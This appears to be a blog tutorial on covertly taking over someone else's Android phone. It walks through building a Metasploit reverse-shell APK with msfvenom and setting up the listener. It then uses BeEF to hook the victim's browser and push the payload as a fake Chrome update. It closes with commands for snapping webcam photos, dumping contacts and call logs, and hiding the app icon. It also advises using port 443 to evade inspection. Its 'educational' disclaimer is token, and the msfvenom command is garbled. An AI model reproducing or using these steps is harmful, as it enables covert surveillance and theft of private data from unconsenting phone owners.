Hacking Andriod without touching phone

  Hacking Andriod without touching phone

 

 

 

DISCLAIMER

• This Article is meant for educational purposes ONLY.
• Hacking Websites and Social Account is ILLEGAL.
• Only use this stuff on your Website and your Accounts

In this article, you will learn how to install apps in your victim phone easily or without touching his/her phone.

I know it is not so easy to take someone phone then install the apk file in his phone and if you forget to open the app then no results you will get .

 Note: This is for education purpose only. Please don’t misuse it.


Requirements

• Metasploit
• beef
• little Patience (most of the readers don’t have patience,time required)

Practical
We will create an android payload or virus or malicious app using Metasploit.

Here is the command to run in the terminal

• msfvenom -p android/meterpreter/reverse_tcp LPORT=your local IP LPORT=4444 -o name1.apk

 This command will create an app in the current directory with the name of 'name1'. you can change it to anything.

 

Explanation 

• -p for payload. I have reverse_tcp because it bypasses all kind of firewall rules.

• LHOST: Is your local IP address. Type ifconfig to find your IP address. Make sure your target mobile phone is using the same network. Later on, I will tell you how to hack android phones that are outside of your network.

• LPORT: for selecting the port number. I have chosen 4444 because it is free. You can choose anyone but in the particular case, I will recommend you to chose 443. It is the port number for https. So in any case expert it scanning phone he/she will ignore this because it is the port for https (it should open). If he/she see port 4444 is open, then he can check the phone.

•  -o For saving app, you can use > too. It will keep apk in the current directory location.

After that in terminal type msfconsole. It will Now launch Metasploit.
Set your exploit to multi handler. Here is the command

1. use exploit/multi/handler
2. set payload android/meterpreter/reverse_tcp 
3. set LHOST 192.168.1.42 (This is my IP your IP will different).
4. set  LPORT 4444
5. run

After creating the app, you launch Metasploit and wait for receiving the connection. Here are commands

•  service postresql start;msfconsole
•  use exploit/multi/handler;set payload android/meterpreter/reverse_tcp;set lhost <local IP address>; set lport 4444

 

Launch beef. In Kali, you can start from the sidebar.

  In parrot or any other security distribution, you can launch using this command.

• beef-xss

Beef is browser exploitation framework. No matter either victim is using chrome, firefox you will not face any problem.

After the successful login, a new webpage will open where in the sidebar, there are two directories online browser and offline browser. We can hook browser using a script then we will able to run own codes to the victim browser. When you hook a browser, it will show in the online browser. If it is confusing, don’t worry you will understand everything.

Beef also launch a terminal when you start it. 
To hook own browser visit this link http://127.0.0.1:3000/demos/basic.html or insert script tag.
Meaning you hooked your browser (127.0.0.1 mean your browser).  Click on 127.0.0.1 and choose commands. In the commands tab expend social engineering and pick Fake update bar (chrome) because I’m using chrome you can find victim browser using details tab.

Open a new terminal and type ifconfig to find your IP address.
In my case, it is 192.168.43.7.
To hook a victim, my URL will be http://192.168.43.7:3000/demos/basic.html.
Connect your phone to the same network that you are using on your computer. Open this URL on the android phone here is what I got on the beef control panel. In the commands expend social engineering and choose Fake update bar (chrome) because I’m using chrome you can find browser using details tab.
In the URL we will place our android payload URL. You can upload payload to the very famous website like google drive or start own server.
Just run this command.

• service apache2 start

You can do anything like taking screenshots, call details, keylogger, upload and download files etc.

These are a lot commands here are some samples

• To take photo
• webcam_snap
• To export all contacts
• dump_contacts
• For call logs
• dump_calllog
• You can hide app too
• hide_app_icon